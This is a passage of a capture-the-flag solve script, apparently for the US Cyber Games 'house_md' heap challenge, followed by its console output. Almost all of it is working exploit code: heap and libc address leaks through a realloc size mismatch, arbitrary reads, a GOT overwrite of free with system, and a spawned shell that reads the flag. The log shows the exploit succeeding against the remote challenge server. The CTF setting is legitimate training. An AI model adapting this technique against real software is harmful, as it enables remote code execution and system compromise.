    time.sleep(0.1)  # Small delay after receiving menu

def send_choice_and_wait(choice):
    """Send a menu choice and wait for any immediate response"""
    io.sendline(str(choice).encode())
    time.sleep(0.1)  # Small delay after sending choice

# malloc a diagnosis struct and the buffer inside it
def create_entry(diag): # bytes
    log.info(f"Creating entry with {len(diag)} bytes")
    wait_for_menu()
    send_choice_and_wait(1)

    # Wait for the diagnosis prompt
    io.recvuntil(b"what's the diagnosis? ", timeout=2)
    io.send(diag)
    time.sleep(0.1)

    # Consume the creation message
    try:
        response = io.recvuntil(b"created d diagnosis at index:", timeout=2)
        index_line = io.recvline(timeout=1)
        log.info(f"Created entry: {index_line.strip()}")
    except:
        log.warning("Didn't receive expected creation message")

    wait_for_menu()

# this function can overflow if you append new data (size_t integer underflow)
def edit_entry(idx, append, newdata): # int, string, bytes
    log.info(f"Editing entry {idx}, append={append}")
    wait_for_menu()
    send_choice_and_wait(2)

    # Send index
    io.recvuntil(b"enter the idx: ", timeout=2)
    io.sendline(hex(idx).encode())
    time.sleep(0.1)

    # Handle potential error messages
    try:
        response = io.recvuntil(b"current diagnosis: ", timeout=2)
        if b"not allocated" in response or b"not in use" in response:
            log.error(f"Entry {idx} is not valid")
            wait_for_menu()
            return
    except:
        pass

    # Consume current diagnosis display
    try:
        current_diag = io.recvline(timeout=1)
        log.info(f"Current diagnosis: {current_diag.strip()}")
    except:
        pass

    # Send append choice
    io.recvuntil(b"append to current diagnosis?: ", timeout=2)
    io.sendline(append.encode())
    time.sleep(0.1)

    # Handle the data input
    if append.lower().startswith('yes'):
        try:
            io.recvuntil(b"extend diagnosis: ", timeout=2)
        except:
            # Might get "out of space" message
            response = io.recvall(timeout=1)
            if b"out of space" in response:
                log.warning("Out of space for append")
                wait_for_menu()
                return
    else:
        io.recvuntil(b"enter new diagnosis: ", timeout=2)

    io.send(newdata)
    time.sleep(0.1)

    wait_for_menu()

# realloc the buffer inside the diag struct
def adjust_buffer(idx, newsize): # int, int
    log.info(f"Adjusting buffer {idx} to size {hex(newsize)}")
    wait_for_menu()
    send_choice_and_wait(3)

    # Send index
    io.recvuntil(b"enter the idx: ", timeout=2)
    io.sendline(hex(idx).encode())
    time.sleep(0.1)

    # Handle potential error messages
    try:
        response = io.recv(timeout=1)
        if b"not allocated" in response or b"not in use" in response:
            log.error(f"Entry {idx} is not valid for adjustment")
            wait_for_menu()
            return
    except:
        pass

    # Send new size
    io.recvuntil(b"enter the new_size: ", timeout=2)
    io.sendline(hex(newsize).encode())
    time.sleep(0.1)

    wait_for_menu()

# print entries
def print_entries():
    log.info("Printing all entries")
    wait_for_menu()
    send_choice_and_wait(4)

    # Collect all output until we see the menu again
    output = b""
    try:
        # Keep receiving until we get the menu back
        while True:
            chunk = io.recv(timeout=1)
            output += chunk
            if b"exit\n> " in output:
                break
    except:
        pass

    log.info(f"Received {len(output)} bytes of output")
    return output

# first free buf, then free struct
def remove_entry(idx): # int
    log.info(f"Removing entry {idx}")
    wait_for_menu()
    send_choice_and_wait(5)

    # Send index
    io.recvuntil(b"enter the idx: ", timeout=2)
    io.sendline(hex(idx).encode())
    time.sleep(0.1)

    # Handle potential error messages
    try:
        response = io.recvuntil([b"invalid index", b"1: diagnose"], timeout=2)
        if b"invalid index" in response:
            log.error(f"Invalid index {idx} for removal")
    except:
        pass

    wait_for_menu()

def exit_option():
    wait_for_menu()
    io.sendline(b'6')

def exit_fail():
    wait_for_menu()
    io.sendline(b'7')

def main():
    # Wait for initial menu
    wait_for_menu()

    log.info("Starting exploit")

    # good luck pwning :)
    create_entry(b'A'*0x20) #entry 0 

    # realloc into something big
    adjust_buffer(0,0x60)

    # set used to large value
    edit_entry(0,'no',b'A'*0x60)

    # realloc into something small
    adjust_buffer(0,0x20)

    # used is bigger than size now
    leak = print_entries()
    try:
        leak_data = leak.split(b'[0]: ')[1]
        heap_base = int.from_bytes(leak_data[48:56],'little') << 12
        log.success(f"Found heap base: {hex(heap_base)}")
    except:
        log.error("Failed to parse heap leak")
        exit(1)

    # feng shui to leak fd ptr from a unsorted bin 
    create_entry(b'B'*0x20) # entry 1
    adjust_buffer(1,0x500)
    edit_entry(1,'no',b'B'*0x500)
    #do not coalesce into top chunk
    create_entry(b'C'*0x20) # entry 2
    adjust_buffer(1,0x20)


    leak = print_entries()
    try:
        leak_data = leak.split(b'[1]: ')[1]
        leak_addr = int.from_bytes(leak_data[48:56],'little')
        libc_base = leak_addr - 19648 - 1892352
        log.success(f"Found libc base: {hex(libc_base)}")
    except:
        log.error("Failed to parse libc leak")
        exit(1)

    # set up binsh pointer fr now  
    create_entry(b'/bin/sh\0') # entry 3

    # get rid of the unsorted thing
    create_entry(b'bruh') # entry 4
    adjust_buffer(4,0x460)
    curr_entry = 4

    target_poi = libc_base + 0x1d1f78

    # we need to dereference that pointer 3 times to get main binary base
    #1st dereference
    create_entry(b'1'*0x20)
    curr_entry += 1 
    adjust_buffer(curr_entry, 0x40)  
    edit_entry(curr_entry,'no',b'2'*0x30)
    # do not coalesce 
    create_entry(b'X'*0x20)
    adjust_buffer(curr_entry,0x20)
    create_entry(b'Z'*0x20)
    edit_entry(curr_entry, 'yes', p32(0x20) + p32(0x20) + p64(target_poi) + p64(0x1))
    curr_entry += 2

    ret = print_entries()
    try:
        target_poi = ret.split(f'[{curr_entry}]: '.encode())[1][:8]
        target_poi = int.from_bytes(target_poi,'little')
        log.info(f"1st dereference: {hex(target_poi)}")
    except:
        log.error("Failed 1st dereference")
        exit(1)


    # 2nd derefernce
    create_entry(b'1'*0x20)
    curr_entry += 1 
    adjust_buffer(curr_entry, 0x40)  
    edit_entry(curr_entry,'no',b'2'*0x30)
    # do not coalesce 
    create_entry(b'X'*0x20)
    adjust_buffer(curr_entry,0x20)
    create_entry(b'Z'*0x20)
    edit_entry(curr_entry, 'yes', p32(0x20) + p32(0x20) + p64(target_poi) + p64(0x1))
    curr_entry += 2

    ret = print_entries()
    try:
        target_poi = ret.split(f'[{curr_entry}]: '.encode())[1][:8]
        target_poi = int.from_bytes(target_poi,'little')
        log.info(f"2nd dereference: {hex(target_poi)}")
    except:
        log.error("Failed 2nd dereference")
        exit(1)

    # 3rd dereference
    create_entry(b'1'*0x20)
    curr_entry += 1 
    adjust_buffer(curr_entry, 0x40)  
    edit_entry(curr_entry,'no',b'2'*0x30)
    # do not coalesce 
    create_entry(b'X'*0x20)
    adjust_buffer(curr_entry,0x20)
    create_entry(b'Z'*0x20)
    edit_entry(curr_entry, 'yes', p32(0x20) + p32(0x20) + p64(target_poi) + p64(0x1))
    curr_entry += 2

    ret = print_entries()
    try:
        target_poi = ret.split(f'[{curr_entry}]: '.encode())[1][:8]
        target_poi = int.from_bytes(target_poi,'little')
        binary_base = target_poi
        log.success(f"Found binary base: {hex(binary_base)}")
    except:
        log.error("Failed 3rd dereference")
        exit(1)

    # overwrite got
    exe.address = binary_base
    gotfree = binary_base + 0x5230
    target_poi = gotfree
    create_entry(b'1'*0x20)
    curr_entry += 1 
    adjust_buffer(curr_entry, 0x40)  
    edit_entry(curr_entry,'no',b'2'*0x30)
    # do not coalesce 
    create_entry(b'X'*0x20)
    adjust_buffer(curr_entry,0x20)
    create_entry(b'Z'*0x20)
    edit_entry(curr_entry, 'yes', p32(0x20) + p32(0x20) + p64(target_poi) + p64(0x1))
    curr_entry += 2

    # instead of reading, edit the buffer with the target poi
    libc.address = libc_base
    log.info("Overwriting GOT with system")
    edit_entry(curr_entry, 'no', p64(libc.sym['system']) + p64(libc.sym['strncmp']) + p64(libc.sym['puts']) + p64(libc.sym['write']))

    # Trigger system call
    log.info("Triggering system call")
    wait_for_menu()
    io.sendline(b'5')  # remove entry
    time.sleep(0.1)
    io.recvuntil(b"enter the idx: ", timeout=2)
    io.sendline(b'3')  # entry with /bin/sh
    time.sleep(0.2)

    # Should get shell now
    log.success("Should have shell now!")
    io.sendline(b'cat flag')

    try:
        flag = io.recvline(timeout=3)
        log.success(f"Flag: {flag}")
    except:
        log.info("No immediate flag response, trying interactive")

    io.interactive()

if __name__ == "__main__":
    main()
python3 solve.py 
[*] '/home/kali/Downloads/USCG_Combine/pwn_dabestcategory/house_md/chal_patched'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'.'
    Stripped:   No
[*] '/home/kali/Downloads/USCG_Combine/pwn_dabestcategory/house_md/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
[*] '/home/kali/Downloads/USCG_Combine/pwn_dabestcategory/house_md/ld-linux-x86-64.so.2'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
[+] Opening connection to challenge.ctf.uscybergames.com on port 44887: Done
[*] Starting exploit
[*] Creating entry with 32 bytes
[*] Created entry: b'0x0'
[*] Adjusting buffer 0 to size 0x60
[*] Editing entry 0, append=no
[*] Current diagnosis: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[*] Adjusting buffer 0 to size 0x20
[*] Printing all entries
[*] Received 225 bytes of output
[+] Found heap base: 0x56062e84f000
[*] Creating entry with 32 bytes
[*] Created entry: b'0x1'
[*] Adjusting buffer 1 to size 0x500
[*] Editing entry 1, append=no
[*] Current diagnosis: b'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
[*] Creating entry with 32 bytes
[*] Created entry: b'0x2'
[*] Adjusting buffer 1 to size 0x20
[*] Printing all entries
[*] Received 1567 bytes of output
[+] Found libc base: 0x7fe2842af000
[*] Creating entry with 8 bytes
[*] Created entry: b'0x3'
[*] Creating entry with 4 bytes
[*] Created entry: b'0x4'
[*] Adjusting buffer 4 to size 0x460
[*] Creating entry with 32 bytes
[*] Created entry: b'0x5'
[*] Adjusting buffer 5 to size 0x40
[*] Editing entry 5, append=no
[*] Current diagnosis: b'11111111111111111111111111111111'
[*] Creating entry with 32 bytes
[*] Created entry: b'0x6'
[*] Adjusting buffer 5 to size 0x20
[*] Creating entry with 32 bytes
[*] Created entry: b'0x7'
[*] Editing entry 5, append=yes
[*] Current diagnosis: b'2222222222222222222222222222222222222222!'
[*] Printing all entries
[*] Received 1790 bytes of output
[*] 1st dereference: 0x7fe2844c7020
[*] Creating entry with 32 bytes
[*] Created entry: b'0x8'
[*] Adjusting buffer 8 to size 0x40
[*] Editing entry 8, append=no
[*] Current diagnosis: b'11111111111111111111111111111111'
[*] Creating entry with 32 bytes
[*] Created entry: b'0x9'
[*] Adjusting buffer 8 to size 0x20
[*] Creating entry with 32 bytes
[*] Created entry: b'0xa'
[*] Editing entry 8, append=yes
[*] Current diagnosis: b'2222222222222222222222222222222222222222!'
[*] Printing all entries
[*] Received 1972 bytes of output
[*] 2nd dereference: 0x7fe2844c82e0
[*] Creating entry with 32 bytes
[*] Created entry: b'0xb'
[*] Adjusting buffer 11 to size 0x40
[*] Editing entry 11, append=no
[*] Current diagnosis: b'11111111111111111111111111111111'
[*] Creating entry with 32 bytes
[*] Created entry: b'0xc'
[*] Adjusting buffer 11 to size 0x20
[*] Creating entry with 32 bytes
[*] Created entry: b'0xd'
[*] Editing entry 11, append=yes
[*] Current diagnosis: b'2222222222222222222222222222222222222222!'
[*] Printing all entries
[*] Received 2156 bytes of output
[+] Found binary base: 0x56062954f000
[*] Creating entry with 32 bytes
[*] Created entry: b'0xe'
[*] Adjusting buffer 14 to size 0x40
[*] Editing entry 14, append=no
[*] Current diagnosis: b'11111111111111111111111111111111'
[*] Creating entry with 32 bytes
[*] Created entry: b'0xf'
[*] Adjusting buffer 14 to size 0x20
[*] Creating entry with 32 bytes
[*] Created entry: b'0x10'
[*] Editing entry 14, append=yes
[*] Current diagnosis: b'2222222222222222222222222222222222222222!'
[*] Overwriting GOT with system
[*] Editing entry 16, append=no
[*] Current diagnosis: b'6'
[*] Triggering system call
[+] Should have shell now!
[+] Flag: b'USCG{S0m3tim3s_1t_1s_LUPUS:2818fe800af5259470eb7ff405d1baf4}\n'
[*] Switching to interactive mode
$ whoami
ctf
$ ls
build.sh
chal
chal.c
flag
$ 
[*] Interrupted
[*] Closed connection to challenge.ctf.uscybergames.com port 44887